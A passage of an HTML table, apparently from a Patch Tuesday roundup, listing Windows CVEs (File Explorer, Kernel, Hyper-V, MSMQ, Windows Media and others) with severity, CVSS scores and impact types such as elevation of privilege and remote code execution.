  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
